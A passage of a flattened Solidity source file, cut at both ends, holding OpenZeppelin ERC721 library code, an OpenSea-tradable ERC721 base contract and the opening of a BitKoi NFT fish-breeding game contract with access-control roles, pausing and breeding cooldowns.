* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/ERC721Tradable.sol
pragma solidity ^0.8.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC721Tradable
* ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality.
*/
abstract contract ERC721Tradable is ContextMixin, ERC721Enumerable, NativeMetaTransaction, Ownable {
using SafeMath for uint256;
address proxyRegistryAddress;
uint256 private _currentTokenId = 0;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
_initializeEIP712(_name);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender()
internal
override
view
returns (address sender)
{
return ContextMixin.msgSender();
}
}
// File: contracts/BitKoi.sol
pragma solidity ^0.8.0;
/**
* @title BitKoi
* BitKoi - a blockchain game at scale
*/
/// @title mix up two fish and find out which traits they should have
abstract contract BitKoiTraitInterface {
/// @dev simply a boolean to indicate this is the contract we expect to be
function isBitKoiTraits() virtual public pure returns (bool);
///mix up the "genes" of the fish to see which genes our new fish will have
function smooshFish(uint256 genes1, uint256 genes2, uint256 targetBlock) virtual public returns (uint256);
}
/// @title A facet of BitKoiCore that manages special access privileges.
/// Based on work from Axiom Zen (https://www.axiomzen.co)
contract BitKoiAccessControl {
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
// @dev Keeps track whether the contract is paused.
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address payable _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() virtual public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
/// @title Base contract for KoiPond. Holds all common structs, events and base variables.
/// based on code written for CK by Axiom Zen (https://www.axiomzen.co)
abstract contract BitKoiBase is BitKoiAccessControl, ERC721Tradable {
/*** EVENTS ***/
/// @dev The Spawn event is fired whenever a new fish comes into existence. This obviously
/// includes any time a fish is created through the spawnFish method, but it is also called
/// when a new gen0 fish is created.
event Spawn(address owner, uint256 koiFishId, uint256 parent1Id, uint256 parent2Id, uint256 genes, uint16 generation, uint64 timestamp);
event BreedingSuccessful(address owner, uint256 newFishId, uint256 parent1Id, uint256 parent2Id, uint64 cooldownEndBlock);
/*** DATA TYPES ***/
struct BitKoi {
// The fish's genetic code - this will never change for any fish.
uint256 genes;
// The timestamp from the block when this fish came into existence.
uint64 spawnTime;
// The minimum timestamp after which this fish can engage in spawning
// activities again.
uint64 cooldownEndBlock;
// The ID of the parents of this fish, set to 0 for gen0 fish.
// With uint32 there's a limit of 4 billion fish
uint32 parent1Id;
uint32 parent2Id;
// Set to the index in the cooldown array (see below) that represents
// the current cooldown duration for this fish. This starts at zero
// for gen0 fish, and is initialized to floor(generation/2) for others.
// Incremented by one for each successful breeding action.
uint16 cooldownIndex;
// The "generation number" of this fish. Fish minted by the KP contract
// for sale are called "gen0" and have a generation number of 0. The
// generation number of all other fish is the larger of the two generation
// numbers of their parents, plus one.
uint16 generation;
}
/*** CONSTANTS ***/
/// @dev A lookup table indicating the cooldown duration after any successful
/// breeding action, called "cooldown" Designed such that the cooldown roughly
/// doubles each time a fish is bred, encouraging owners not to just keep breeding the same fish over
/// and over again. Caps out at one week (a fish can breed an unbounded number
/// of times, and the maximum cooldown is always seven days).
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the KoiFish struct for all KoiFish in existence. The ID
/// of each fish is actually an index into this array. Fish 0 has an invalid genetic
/// code and can't be used to produce offspring.
BitKoi[] bitKoi;
/// @dev A mapping from fish IDs to the address that owns them. All fish have
/// some valid owner address, even gen0 fish are created with a non-zero owner.
mapping (uint256 => address) bitKoiIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
/// @dev A mapping from KoiFishIDs to an address that has been approved to call
/// transferFrom(). Each KoiFish can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) bitKoiIndexToApproved;
// /// @dev Assigns ownership of a specific KoiFish to an address.
function _transfer(address _from, address _to, uint256 _tokenId) override internal {
require(ownerOf(_tokenId) == _from, "ERC721: transfer of token that is not own");
require(_to != address(0), "ERC721: transfer to the zero address");
// Since the number of fish is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
ownershipTokenCount[_from]--;
_beforeTokenTransfer(_from, _to, _tokenId);
// actually transfer ownership
bitKoiIndexToOwner[_tokenId] = _to;
// Clear approvals from the previous owner
_approve(address(0), _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/// @notice Returns the address currently assigned ownership of a given BitKoi.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
override
public
view
returns (address owner)
{
owner = bitKoiIndexToOwner[_tokenId];
require(owner != address(0));
}
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return ownershipTokenCount[owner];
}
/// @notice Returns a list of all KoiFish IDs assigned to an address.
/// @param _owner The owner whose KoiFish we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire KoiFish array looking for fish belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalBitKoi = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all fish have IDs starting at 1 and increasing
// sequentially up to the totalKoi count.
uint256 bitKoiId;
for (bitKoiId = 1; bitKoiId <= totalBitKoi; bitKoiId++) {
if (bitKoiIndexToOwner[bitKoiId] == _owner) {
result[resultIndex] = bitKoiId;
resultIndex++;
}
}
return result;
}
}
function _mintNewKoi(address _to, uint256 _tokenId) internal {
_mint(_to, _tokenId);
// Since the number of fish is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
bitKoiIndexToOwner[_tokenId] = _to;
}
// Any C-level can fix how many seconds per blocks are currently observed.
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
abstract contract BitKoiOwnership is BitKoiBase {
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(
address _claimant,
uint256 _tokenId
)
internal
view
returns (bool) {
